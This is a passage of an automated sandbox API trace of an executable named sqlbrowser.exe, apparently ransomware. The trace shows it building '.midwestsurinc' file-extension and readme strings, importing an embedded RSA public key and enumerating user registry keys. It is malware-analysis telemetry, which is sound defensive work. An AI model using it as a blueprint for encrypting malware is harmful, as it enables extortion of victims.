dwFlags=0x0, lpMultiByteStr=0x22fc120, cbMultiByte=6, lpWideCharStr=0x22fdc78, cchWideChar=6 | out: lpWideCharStr="Caches") returned 6 [0025.878] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x22fc240, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0025.878] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x22fc240, cbMultiByte=11, lpWideCharStr=0x22fdd00, cchWideChar=11 | out: lpWideCharStr="WindowsApps") returned 11 [0025.878] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x22fc0d8, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0025.878] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x22fc0d8, cbMultiByte=7, lpWideCharStr=0x22fdeb0, cchWideChar=7 | out: lpWideCharStr="AppData") returned 7 [0025.878] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x22fc288, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0025.878] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x22fc288, cbMultiByte=11, lpWideCharStr=0x22fdf38, cchWideChar=11 | out: lpWideCharStr="ProgramData") returned 11 [0025.878] ExpandEnvironmentStringsA (in: lpSrc="%ProgramData%", lpDst=0x21d2850, nSize=0x2800 | out: lpDst="C:\\ProgramData") returned 0xf [0025.878] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x21d2850, cbMultiByte=14, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0025.878] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x21d2850, cbMultiByte=14, lpWideCharStr=0x22fdfc0, cchWideChar=14 | out: lpWideCharStr="C:\\ProgramData") returned 14 [0025.878] ExpandEnvironmentStringsA (in: lpSrc="%windir%", lpDst=0x21d2850, nSize=0x2800 | out: lpDst="C:\\Windows") returned 0xb [0025.878] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x21d2850, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0025.878] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x21d2850, cbMultiByte=10, lpWideCharStr=0x22fe048, cchWideChar=10 | out: lpWideCharStr="C:\\Windows") returned 10 [0025.878] ExpandEnvironmentStringsA (in: lpSrc="%temp%", lpDst=0x21d2850, nSize=0x2800 | out: lpDst="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x25 [0025.878] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x21d2850, cbMultiByte=36, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 36 [0025.878] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x21d2850, cbMultiByte=36, lpWideCharStr=0x22fe0d0, cchWideChar=36 | out: lpWideCharStr="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 36 [0025.879] ExpandEnvironmentStringsA (in: lpSrc="%AppData%", lpDst=0x21d2850, nSize=0x2800 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2e [0025.879] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x21d2850, cbMultiByte=45, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 45 [0025.879] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x21d2850, cbMultiByte=45, lpWideCharStr=0x22fe158, cchWideChar=45 | out: lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 45 [0025.879] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x21d5058, cbMultiByte=14, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0025.879] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x21d5058, cbMultiByte=14, lpWideCharStr=0x22fe1e0, cchWideChar=14 | out: lpWideCharStr=".midwestsurinc") returned 14 [0025.879] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x21d5058, cbMultiByte=21, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 21 [0025.879] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x21d5058, cbMultiByte=21, lpWideCharStr=0x22fe268, cchWideChar=21 | out: lpWideCharStr=".midwestsurinc_readme") returned 21 [0025.879] WaitForSingleObject (hHandle=0xc4, dwMilliseconds=0xffffffff) returned 0x0 [0025.881] CryptStringToBinaryA (in: pszString="MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA0cOJv9Aj24KNBa4Tg+wa\r\nv5qBoxAz4aYPx79WQ/Fv+0crkkL6Ntr+cit1qYv+kOOipAjw7bHZ3fhqS6Tcm4YL\r\nBCz2vwVHI1HtZbattwG4L5RFN/Rc/FwuzpanfLmsdBVPOwdMXBCbLqDxpgbE1Gyj\r\nAfvGH0RdbcBYbdpleKlW+CCIyC5qnCOrKXOt4ilyv8GFS20Mzuhwpb3aLPNHAZ3N\r\n4VKgtsJkVM1hf4aU5U7lGwFoQzviK8cPzeheV1B1uUTr0+3sloZ74vB4b7UZ2Usa\r\nCjv7gHkuV9U9ZYAksxV6T6ja/hetEIy/CkqvgJNhJM/iJ4aCVedjdf0oBK2J8ilE\r\n7nEypSXl/sACMVuDhxPKUDZ7cNRK7JGV49E5PftX5zPYjbn8kmhNuVYq3k+BhlQn\r\nsHFVDMRBzHJJySsmj07x3qwbSrE82ERX4PoFjUkYyYA/4CdHwUGyUFP5nCAN9uRE\r\nbkhUJD28OMUHRUoMvAu1vberKFxNNbCa5HKw1GgF/j0DvqgOCxK4wdC5vixjOZNV\r\nMTT/wlkE5Q5356N9IksFCGW2iJXSpWIHzqES6oJD8VUYIcvU8hWQHYgi7jZ6gWN3\r\nmF30p0D0Zqx2zzOmwh6si15pBzj2gyKtGY1ZMbbWWx7q5EX6l2NkpOV1p6BY6uD6\r\nRF9Z6zKY+rwjT6TANpN7PwECAwEAAQ==\r\n", cchString=0x0, dwFlags=0x1, pbBinary=0x0, pcbBinary=0x18fd24, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x0, pcbBinary=0x18fd24, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0025.881] CryptStringToBinaryA (in: pszString="MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA0cOJv9Aj24KNBa4Tg+wa\r\nv5qBoxAz4aYPx79WQ/Fv+0crkkL6Ntr+cit1qYv+kOOipAjw7bHZ3fhqS6Tcm4YL\r\nBCz2vwVHI1HtZbattwG4L5RFN/Rc/FwuzpanfLmsdBVPOwdMXBCbLqDxpgbE1Gyj\r\nAfvGH0RdbcBYbdpleKlW+CCIyC5qnCOrKXOt4ilyv8GFS20Mzuhwpb3aLPNHAZ3N\r\n4VKgtsJkVM1hf4aU5U7lGwFoQzviK8cPzeheV1B1uUTr0+3sloZ74vB4b7UZ2Usa\r\nCjv7gHkuV9U9ZYAksxV6T6ja/hetEIy/CkqvgJNhJM/iJ4aCVedjdf0oBK2J8ilE\r\n7nEypSXl/sACMVuDhxPKUDZ7cNRK7JGV49E5PftX5zPYjbn8kmhNuVYq3k+BhlQn\r\nsHFVDMRBzHJJySsmj07x3qwbSrE82ERX4PoFjUkYyYA/4CdHwUGyUFP5nCAN9uRE\r\nbkhUJD28OMUHRUoMvAu1vberKFxNNbCa5HKw1GgF/j0DvqgOCxK4wdC5vixjOZNV\r\nMTT/wlkE5Q5356N9IksFCGW2iJXSpWIHzqES6oJD8VUYIcvU8hWQHYgi7jZ6gWN3\r\nmF30p0D0Zqx2zzOmwh6si15pBzj2gyKtGY1ZMbbWWx7q5EX6l2NkpOV1p6BY6uD6\r\nRF9Z6zKY+rwjT6TANpN7PwECAwEAAQ==\r\n", cchString=0x0, dwFlags=0x1, pbBinary=0x21d7cf8, pcbBinary=0x18fd24, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x21d7cf8, pcbBinary=0x18fd24, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0025.881] CryptDecodeObject (in: dwCertEncodingType=0x10001, lpszStructType=0x8, pbEncoded=0x21d7cf8, cbEncoded=0x226, dwFlags=0x0, pvStructInfo=0x0, pcbStructInfo=0x18fd24 | out: pvStructInfo=0x0, pcbStructInfo=0x18fd24) returned 1 [0025.887] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x280) returned 0x21d7f40 [0025.887] CryptDecodeObject (in: dwCertEncodingType=0x10001, lpszStructType=0x8, pbEncoded=0x21d7cf8, cbEncoded=0x226, dwFlags=0x0, pvStructInfo=0x21d7f40, pcbStructInfo=0x18fd24 | out: pvStructInfo=0x21d7f40, pcbStructInfo=0x18fd24) returned 1 [0025.887] CryptImportPublicKeyInfo (in: hCryptProv=0x5d2210, dwCertEncodingType=0x10001, pInfo=0x21d7f40*(Algorithm.pszObjId="1.2.840.113549.1.1.1", Algorithm.Parameters.cbData=0x2, Algorithm.Parameters.pbData=0x21d7f70*, PublicKey.cbData=0x20e, PublicKey.pbData=0x21d7f78*, PublicKey.cUnusedBits=0x0), phKey=0x18fd28 | out: phKey=0x18fd28*=0x5d6068) returned 1 [0025.890] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x21d7f40) returned 1 [0025.890] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x21d7cf8) returned 1 [0025.890] ReleaseMutex (hMutex=0xc4) returned 1 [0025.890] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x21d5058) returned 1 [0025.890] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x2800) returned 0x21d5058 [0025.890] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc900 [0025.890] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc900) returned 1 [0025.890] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x21d5058) returned 1 [0025.890] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x2800) returned 0x21d5058 [0025.890] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc900 [0025.890] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc900) returned 1 [0025.890] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc900 [0025.890] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x22fc900, cbMultiByte=9, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0025.890] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe1e0 [0025.890] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x22fc900, cbMultiByte=9, lpWideCharStr=0x22fe1e0, cchWideChar=9 | out: lpWideCharStr="DISK.FULL") returned 9 [0025.890] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe268 [0025.890] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe1e0) returned 1 [0025.890] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe268) returned 1 [0025.890] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc900) returned 1 [0025.890] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x21d5058) returned 1 [0025.890] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x21d2850) returned 1 [0025.891] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc0d8) returned 1 [0025.891] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fd258) returned 1 [0025.891] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc240) returned 1 [0025.891] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fd268) returned 1 [0025.891] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.891] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fd278) returned 1 [0025.891] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc288) returned 1 [0025.891] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fd288) returned 1 [0025.891] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fd5e8) returned 1 [0025.891] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0025.891] StartServiceCtrlDispatcherW (lpServiceTable=0x18fdf0*(lpServiceName="", lpServiceProc=0x40d040)) returned 0 [0025.896] GetLastError () returned 0x427 [0025.896] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sqlbrowser.exe\" " [0025.896] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sqlbrowser.exe\" ", pNumArgs=0x18fddc | out: pNumArgs=0x18fddc) returned 0x5bfe30*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sqlbrowser.exe" [0025.897] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x10) returned 0x22fd5e8 [0025.897] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x8) returned 0x22fd288 [0025.897] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe268 [0025.897] LocalFree (hMem=0x5bfe30) returned 0x0 [0025.897] Wow64DisableWow64FsRedirection (in: OldValue=0x18fdd8 | out: OldValue=0x18fdd8*=0x0) returned 1 [0025.897] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x800) returned 0x21d7cf8 [0025.897] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x21d7cf8, nSize=0x200 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sqlbrowser.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\sqlbrowser.exe")) returned 0x34 [0025.897] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x800) returned 0x21d8500 [0025.897] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x21d8500, nSize=0x200 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sqlbrowser.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\sqlbrowser.exe")) returned 0x34 [0025.897] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe1e0 [0025.897] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe2f0 [0025.897] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe1e0) returned 1 [0025.897] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe2f0) returned 1 [0025.897] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x800) returned 0x21d8d08 [0025.897] GetShortPathNameW (in: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sqlbrowser.exe", lpszShortPath=0x21d8d08, cchBuffer=0x200 | out: lpszShortPath="C:\\Users\\5P5NRG~1\\Desktop\\SQLBRO~1.EXE") returned 0x26 [0025.897] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x800) returned 0x21d9510 [0025.897] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x5c) returned 0x22fdd28 [0025.898] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe2f0 [0025.898] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe1e0 [0025.898] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe378 [0025.898] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe400 [0025.898] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe488 [0025.898] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe510 [0025.898] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe598 [0025.898] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe620 [0025.898] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe6a8 [0025.898] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe730 [0025.898] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe7b8 [0025.898] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc288 [0025.898] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe840 [0025.898] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x280) returned 0x21d9d18 [0025.898] SHRegDuplicateHKey (hkey=0x80000001) returned 0x80000001 [0025.898] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x0, lpName=0x21d9d18, cchName=0x104 | out: lpName="AppEvents") returned 0x0 [0025.898] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe8c8 [0025.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appevents", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0025.898] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appevents", cchWideChar=9, lpMultiByteStr=0x22fc120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appevents", lpUsedDefaultChar=0x0) returned 9 [0025.898] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc240 [0025.898] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.898] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc240) returned 1 [0025.898] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe8c8) returned 1 [0025.898] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x1, lpName=0x21d9d18, cchName=0x104 | out: lpName="Console") returned 0x0 [0025.898] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe8c8 [0025.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="console", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0025.898] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc240 [0025.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="console", cchWideChar=7, lpMultiByteStr=0x22fc240, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="console", lpUsedDefaultChar=0x0) returned 7 [0025.898] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.899] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc240) returned 1 [0025.899] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.899] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe8c8) returned 1 [0025.899] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x2, lpName=0x21d9d18, cchName=0x104 | out: lpName="Control Panel") returned 0x0 [0025.899] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe8c8 [0025.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control panel", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0025.899] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control panel", cchWideChar=13, lpMultiByteStr=0x22fc120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control panel", lpUsedDefaultChar=0x0) returned 13 [0025.899] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc240 [0025.899] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.899] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc240) returned 1 [0025.899] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe8c8) returned 1 [0025.899] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x3, lpName=0x21d9d18, cchName=0x104 | out: lpName="Environment") returned 0x0 [0025.899] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe8c8 [0025.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="environment", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0025.899] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc240 [0025.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="environment", cchWideChar=11, lpMultiByteStr=0x22fc240, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="environment", lpUsedDefaultChar=0x0) returned 11 [0025.899] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.899] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc240) returned 1 [0025.899] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.899] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe8c8) returned 1 [0025.899] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x4, lpName=0x21d9d18, cchName=0x104 | out: lpName="EUDC") returned 0x0 [0025.899] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe8c8 [0025.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eudc", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0025.899] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eudc", cchWideChar=4, lpMultiByteStr=0x22fc120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eudc", lpUsedDefaultChar=0x0) returned 4 [0025.899] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc240 [0025.899] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.899] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc240) returned 1 [0025.899] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe8c8) returned 1 [0025.899] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x5, lpName=0x21d9d18, cchName=0x104 | out: lpName="Identities") returned 0x0 [0025.899] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe8c8 [0025.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identities", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0025.899] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc240 [0025.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identities", cchWideChar=10, lpMultiByteStr=0x22fc240, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identities", lpUsedDefaultChar=0x0) returned 10 [0025.900] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.900] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc240) returned 1 [0025.900] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.900] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe8c8) returned 1 [0025.900] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x6, lpName=0x21d9d18, cchName=0x104 | out: lpName="Keyboard Layout") returned 0x0 [0025.900] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe8c8 [0025.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyboard layout", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0025.900] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyboard layout", cchWideChar=15, lpMultiByteStr=0x22fc120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="keyboard layout", lpUsedDefaultChar=0x0) returned 15 [0025.900] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc240 [0025.900] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.900] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc240) returned 1 [0025.900] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe8c8) returned 1 [0025.900] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x7, lpName=0x21d9d18, cchName=0x104 | out: lpName="Network") returned 0x0 [0025.900] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe8c8 [0025.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="network", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0025.900] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc240 [0025.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="network", cchWideChar=7, lpMultiByteStr=0x22fc240, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="network", lpUsedDefaultChar=0x0) returned 7 [0025.900] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.900] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc240) returned 1 [0025.900] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.900] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, 